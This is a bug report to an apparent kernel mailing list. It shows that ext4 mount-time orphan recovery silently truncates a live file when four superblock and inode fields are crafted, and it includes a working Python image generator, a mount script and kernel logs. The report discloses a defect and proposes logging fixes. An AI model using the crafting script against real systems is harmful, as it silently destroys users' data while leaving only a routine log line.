[Bug report] ext4: mount-time orphan recovery silently truncates a LIVE file (crafted s_last_orphan; only log line is the routine "1 truncate cleaned up")
From: yangguikun
Date: Tue Oct 13 2026 - 08:11:09 EST
Hi,
During field-semantic corruption testing of ext4 images, we found that the
mount-time orphan recovery path truncates a fully-live, linked file when
four individually-plausible on-disk fields are made mutually inconsistent —
and the only kernel log line is the routine recovery message, making the
destruction indistinguishable from legitimate crash recovery. Deterministic
reproducer below (e2fsprogs + one mount; no syscalls needed after mount).
## The corruption
Four coordinated edits on a stock 1MB ext4 (mke2fs -O ^has_journal,^metadata_csum,
three 8KB files; /file1 is a normal live file, nlink=1, has a dirent):
1. s_last_orphan (sb+0xE8) := /file1's inode number
2. /file1 i_dtime := 0
3. s_state: clear EXT4_VALID_FS
4. /file1 i_size := 4096 (real data: 8192)
Nothing is out of bounds; every field is individually valid.
## Observed (deterministic, 3/3)
$ mount -t ext4 /dev/loop7 /mnt # the entire attack surface
[ ] EXT4-fs (loop7): 1 truncate cleaned up
$ stat -c "size=%s nlink=%h" /mnt/file1
size=4096 nlink=1 # was size=8192 — half the file
# silently destroyed
ext4_orphan_cleanup() -> ext4_orphan_get() accepts the inode: it validates
the inode number, the inode bitmap bit, and that NEXT_ORPHAN (i_dtime, the
orphan-list link) is within range, but never checks that the victim is
actually orphaned. In 7.3-rc5 (fs/ext4/ialloc.c:1396) the comment explains
why i_nlink==0 is deliberately NOT required:
/* Orphans also include inodes that were being truncated, so we can't
* check i_nlink==0. */
and the subsequent check only rejects (i_nlink && !ext4_can_truncate()) —
i.e., objects that CANNOT be truncated. A normal live regular file
(nlink=1, truncatable) is accepted, and ext4_process_orphan() then runs
truncate_inode_pages() + ext4_truncate() on it at mount time.
The code involved is unchanged in current mainline: fs/ext4/orphan.c,
ialloc.c and inode.c are byte-identical between 7.3-rc5 and current
mainline.
## Why we think this is worth a look beyond "corrupt fs"
- The damage is cross-file and kernel-initiated: one superblock u32 selects
ANY inode on the filesystem for data destruction at mount, with zero
syscalls from the (unprivileged-after-mount) point of view.
- It is silent: the only log line ("N truncate cleaned up") is exactly what
legitimate recovery prints. An operator mounting a suspect image gets no
signal that a live file was destroyed.
- The comment's "Having the inode bit set should be a 100% indicator that
this is a valid orphan" holds only if the inode bitmap is trustworthy;
with a crafted image both the bitmap bit and the chain head are
attacker-chosen, and the no-nlink-check design decision becomes the
amplification point.
We appreciate the truncate-in-flight orphan use case that motivates
skipping the nlink check, so a full "must be unlinked" rule is not the
answer. Two directions that might be cheap enough:
a) warn loudly (ext4_warning with inode number and old/new size) whenever
orphan cleanup truncates an inode with i_nlink > 0 — turning the
silent destruction into an observable event, or
b) recording the truncated inodes (e.g. rate-limited per-mount summary
"orphan cleanup truncated N linked inodes") so post-mount forensics
can distinguish this from normal recovery.
Happy to test any patch; reproducer and methodology notes attached.
## Reproducer
craft_f5.py builds the image from scratch (dd/mke2fs/debugfs)
f5.img.xz pre-baked image (one mount per copy: s_last_orphan is
cleared by the first recovery, as in real recovery)
f5_dmesg.log evidence log lines
README notes
Environment: QEMU/KVM x86_64, Debian 11 guest, kernel 7.3.0-rc5 (KASAN
generic, SLUB_DEBUG). Framing: robustness/observability issue on
attacker-controlled images; we are not claiming a privilege-boundary
crossing.
Thanks,
yangguikun <yangguikun19@xxxxxx>
#!/usr/bin/env python3
"""Generate the minimal F5 repro image from scratch â?? e2fsprogs only.
Creates a 1MB ext4 (no journal, no metadata_csum) with three 8KB files,
then applies the four coordinated edits that turn a plain rw mount into a
silent truncation of the LIVE /file1:
1. s_last_orphan (sb+0xE8) := /file1's inode number
2. /file1 i_dtime := 0 (passes recently-deleted gate)
3. s_state &= ~EXT4_VALID_FS (unclean â?? engages recovery)
4. /file1 i_size := 4096 (real data 8192 â?? payload)
Usage: python3 craft_f5.py [out.img]
"""
import re
import struct
import subprocess
import sys
IMG = sys.argv[1] if len(sys.argv) > 1 else "f5.img"
BS = 4096
def run(cmd, ok=True):
r = subprocess.run(cmd, capture_output=True, text=True)
if ok and r.returncode != 0:
raise RuntimeError(f"{cmd}: {r.stderr}")
return r.stdout
run(["dd", "if=/dev/zero", f"of={IMG}", "bs=1M", "count=1"])
run(["mke2fs", "-q", "-F", "-t", "ext4", "-b", str(BS), "-I", "256", "-N", "48",
"-O", "^has_journal,^metadata_csum", IMG])
for name in ("file0", "file1", "file2"):
open(f"/tmp/f5_{name}", "wb").write(b"x" * 8192)
run(["debugfs", "-w", "-R", f"write /tmp/f5_{name} /{name}", IMG])
geo = run(["dumpe2fs", IMG])
itab = int(re.search(r"Group 0:.*?Inode table at (\d+)", geo, re.S).group(1))
victim = int(re.search(r"Inode:\s+(\d+)",
run(["debugfs", "-R", "stat /file1", IMG])).group(1))
buf = bytearray(open(IMG, "rb").read())
vo = itab * BS + (victim - 1) * 256
struct.pack_into("<I", buf, vo + 20, 0) # i_dtime = 0
struct.pack_into("<I", buf, vo + 4, 4096) # i_size 8192 -> 4096
struct.pack_into("<I", buf, 1024 + 0xE8, victim) # s_last_orphan
st = struct.unpack_from("<H", buf, 1024 + 58)[0]
struct.pack_into("<H", buf, 1024 + 58, st & ~0x1) # ~EXT4_VALID_FS
open(IMG, "wb").write(bytes(buf))
print(f"crafted {IMG}: s_last_orphan -> live /file1 (ino {victim}), "
f"i_size 4096 (data 8192), dtime 0, s_state ~VALID_FS")
#!/bin/bash
# F5 repro: generate image, mount rw once, observe the silent truncation.
# Run as root on any Linux with e2fsprogs + python3. NOT for production
# machines (it mounts a deliberately corrupted filesystem).
set -e
cd "$(dirname "$0")"
python3 craft_f5.py f5.img
losetup -d /dev/loop9 2>/dev/null || true
mkdir -p /mnt/t
losetup /dev/loop9 f5.img
dmesg -C 2>/dev/null || true
mount -t ext4 -o rw /dev/loop9 /mnt/t
echo "file1 after mount:"
stat -c " size=%s nlink=%h" /mnt/t/file1
echo "(expected: size=4096 nlink=1; crafted data was 8192 â?? half destroyed)"
umount /mnt/t
losetup -d /dev/loop9 || true
echo "--- kernel log for this mount ---"
dmesg | grep -E "truncate cleaned|EXT4-fs" | tail -4
echo
dmesg | grep -q "truncate cleaned" \
&& echo "REPRODUCED: live file truncated at mount (silent recovery line)" \
|| echo "not reproduced this run"
Attachment:
f5.img.xz
Description: application/xz
# (from f5_verify_3x.sh; each iteration = newly crafted image, one rw mount)
#
# iteration 1
size=4096 nlink=1 <- /file1 after mount (was 8192)
[12661.914579] EXT4-fs (loop9): warning: mounting unchecked fs, running e2fsck is recommended
[12661.917164] EXT4-fs (loop9): 1 truncate cleaned up
[12661.917434] EXT4-fs (loop9): mounted filesystem adabac39-5d32-43d5-8392-7fcbb0ca9f75 r/w without journal. Quota mode: none.
#
# iteration 2
size=4096 nlink=1
[12662.614295] EXT4-fs (loop9): 1 truncate cleaned up
[12662.614661] EXT4-fs (loop9): mounted filesystem 6db61c0a-6171-4f39-969b-390ed0a9f2d2 r/w without journal. Quota mode: none.
#
# iteration 3
size=4096 nlink=1
[12663.650958] EXT4-fs (loop9): 1 truncate cleaned up
[12663.651376] EXT4-fs (loop9): mounted filesystem 841251d9-3665-43c2-9187-0d9d832f6b8f r/w without journal. Quota mode: none.
#
# NOTE: the ONLY anomaly-indicating line is the routine recovery message
# "1 truncate cleaned up" â?? identical to legitimate crash recovery output.
# F5 minimal reproducer â?? ext4 mount-time orphan recovery silently truncates a LIVE file
Target: Linux 7.3.0-rc5 x86_64 (+KASAN; the orphan-recovery logic is
longstanding mainline). Deterministic 3/3.
## Contents
| file | role |
|---|---|
| `craft_f5.py` | self-contained generator (dd + mke2fs + debugfs + 4 edits; e2fsprogs only) |
| `f5.img.xz` | pre-baked crafted image (644 bytes compressed) |
| `f5_dmesg.log` | evidence: the ONLY kernel output is the routine line |
| (email.txt, SEND_CHECKLIST.md live one directory up) | |
## Run
```bash
python3 craft_f5.py f5.img
losetup /dev/loop9 f5.img && mkdir -p /mnt/t
mount -t ext4 -o rw /dev/loop9 /mnt/t
stat -c "size=%s nlink=%h" /mnt/t/file1 # -> size=4096 nlink=1 (was 8192)
dmesg | tail # -> "1 truncate cleaned up" only
```
One mount per image copy: real recovery (and this trigger) clears
s_last_orphan, so re-mounting a consumed image is clean â?? same as genuine
crash recovery behavior.
## The four edits (all individually valid, mutually lying)
1. `s_last_orphan` (sb+0xE8) := live /file1 inode (13)
2. /file1 `i_dtime` := 0
3. `s_state` &= ~EXT4_VALID_FS
4. /file1 `i_size` := 4096 (real data 8192)
## Why accepted (7.3-rc5, fs/ext4/ialloc.c ext4_orphan_get)
- comment: truncate-in-flight orphans are legal with nlink>0, so
`i_nlink==0` is deliberately NOT checked;
- the only nlink guard is `(i_nlink && !ext4_can_truncate())` â?? a normal
regular file passes;
- "bitmap bit = 100% valid orphan" assumption holds only for uncrafted images.
Effect: kernel-initiated, cross-file, zero-syscall data destruction; the
lone log line is indistinguishable from legitimate recovery. Suggested
directions in the email: loud warning on truncating linked inodes, or a
per-mount summary of linked-inode truncations.